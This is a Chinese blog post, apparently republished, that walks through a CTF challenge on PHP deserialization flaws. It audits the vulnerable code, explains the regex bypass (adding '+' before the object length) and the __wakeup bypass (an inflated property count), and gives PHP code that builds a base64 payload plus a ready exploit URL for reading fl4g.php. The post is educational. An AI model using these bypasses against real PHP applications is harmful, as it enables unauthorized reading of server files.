IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> (日更)PHP反序化漏洞解析(3) 漏洞利用条件及利用实例 XCTFWeb_php_unserialize -> 正文阅读

[PHP知识库](日更)PHP反序化漏洞解析(3) 漏洞利用条件及利用实例 XCTFWeb_php_unserialize

------------------------------------------------------------------------------------------------------------------

昨天打了一场CTF,断更了一天。。。

------------------------------------------------------------------------------------------------------------------

?-----------------------------------------------------------------------------------------------------------------------------

之前的文章我们提到了4个函数,serialize,unserialize,__sleep(),__wakeup();

并了解了他们之间的关系。

但是PHP中除了__sleep(),__wakeup();还有很多魔法函数,这里不一一列出,在遇到不认识的魔法函数时,可以去单独学习一下。

PHP魔法方法/函数详解_计算机学习笔记-CSDN博客_php魔法函数在php的语法中,有一些系统自带的方法名,均以双下划线开头,它会在特定的情况下被调用。即所谓的魔法函数。它们在面向对向编程中起着至关重要的作用。所以个人觉得很有必要整理一下。下面就php的15个魔法函数做一个详细整理:1. __construct() 和 __destruct()__construct() 对象初始化时会调用此方法(对于内核而言是指初始化完成后调用此方法).此方法用得比较多。__dhttps://blog.csdn.net/inqihoo/article/details/9235103

反序化漏洞产生条件

1.unserialize的参数可控(可以传参)

2.存在魔法函数

题目示例

题目来源 XCTF

?题目给出需要利用反序化漏洞进入场景

?审计一下代码(注释是参考这里一位大哥的write up)

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file;  //构造函数,对类的变量进行初始化
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }

    //魔术方法,如果有反序列化的使用,在反序列化之前会先调用这个方法
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 

    //正则匹配,如果在var变量中存在O/C:数字(O:数字或者C:数字这样的形式}),不区分大小写,就输出stop hacking!否则的话就进行发序列化
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

?这里利用到的魔法函数有__construct(),__destruct(),wakeup(),

  • __construct(),创建时自动调用,用得到的参数覆盖$file
  • __destruct(),销毁时调用,会显示文件的代码,这里要显示fl4g.php
  • __wakeup(),反序列化时调用,会把$file重置成index.php

并且存在unserialize函数可以传参。

---------------------------------------------------------------------------------------------------------------------------------

满足漏洞产生条件

1.unserialize的参数可控(可以传参)

2.存在魔法函数

---------------------------------------------------------------------------------------------------------------------------------

?????????????????????????????

重点来了

我们对传入一个参数var后,函数的执行顺序进行梳理。

1.传参后isset判断是否为空,为空直接返回index.php

2.对参数var进行base64解码

3.preg_match进行正则匹配

4.正则匹配后:

1.__construct()函数初始化,把file=index.php初始化, 用得到的参数覆盖掉file值。

2.在调用unserialize反序列化var之前,自动调用__wakeup()函数

__wakeup()函数判定现在的file值(现在是我们传入的file值)是否为index.php,如果不是

就修改file值为index.php

5.调用unserialize函数反序化var值.

6.调用完unserialize函数后,__destruct()函数将输出当前file值的源码。

?????????????????????????????

抓住反序化漏洞的关键

上面步骤4.2是反序化漏洞的关键,反序化问题其实并不是出在serialize,unserizlize函数上,

而是这些随着serialize,unserizlize使用而自动调用的魔法函数存在隐患--------(一旦某些函数存在绕过,程序可能就不会按照正常顺序执行,从而导致意想之外的结果)

序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

解题步骤

1.构造Demo对象传入file值fl4g.php

2.求出对创建的Demo对象序列化:结果为:O:4:"Demo":1:{s:10:" Demofile ";s:8:"fl4g.php";}

3.在对象名长度值‘4’,添加+,结果为:

O:+4:"Demo":1 {s:10:" Demofile ";s:8:"fl4g.php";}??????? //绕过正则

4.修改对象属性个数 ‘1’ 这里可以任意换成一个数字,我改个3 结果为:

O:+4:"Demo":3 {s:10:" Demofile ";s:8:"fl4g.php";}?????? //绕过wakeup函数

5.base64编码

下面给出运行代码

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
	 $s=new Demo('fl4g.php');
	 $s=serialize($s);
	 echo $s;
	 $s = str_replace('O:4', 'O:+4',$s); // 绕过正则
     $s = str_replace(':1:', ':2:' ,$s);// 绕过wakeup
	 echo base64_encode($s);
?>

结果

O:4:"Demo":1{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

所以得到payload

http://111.200.241.244:54808/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

可以换成自己题目的url直接去用。

——————————————————————————————————————————

对于这道题目补充2个细节

1.要想绕过正则匹配,就要满足的条件:看的懂正则

分析正则:if (preg_match('/[oc]:\d+:/i', $var)

[oc] 匹配o或者c

\d 匹配任意一个10进制的数

+ 匹配前面的字符 1-N 次

i 表示不区分大小写

在前面添加一个加号可以绕过。

2.这里的 file 变量为私有变量,所以序列化之后的字符串开头结 尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结 果复制到在线的 base64 网站进行编码可能就会丢掉空白字符。所以可以直接使用我的payload,或者自己在php环境中运行代码得到,推荐一个在线php运行网站。

PHP 在线工具 | 菜鸟工具https://c.runoob.com/compile/1/---------------------------------------------------------------------------------------------------------------------------------

这一节介绍了如何寻找和利用反序化漏洞点,下一节介绍php反序化链构造。

估计是日更不了了。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-30 15:23:36  更:2021-11-30 15:23:58 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 21:09:04-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计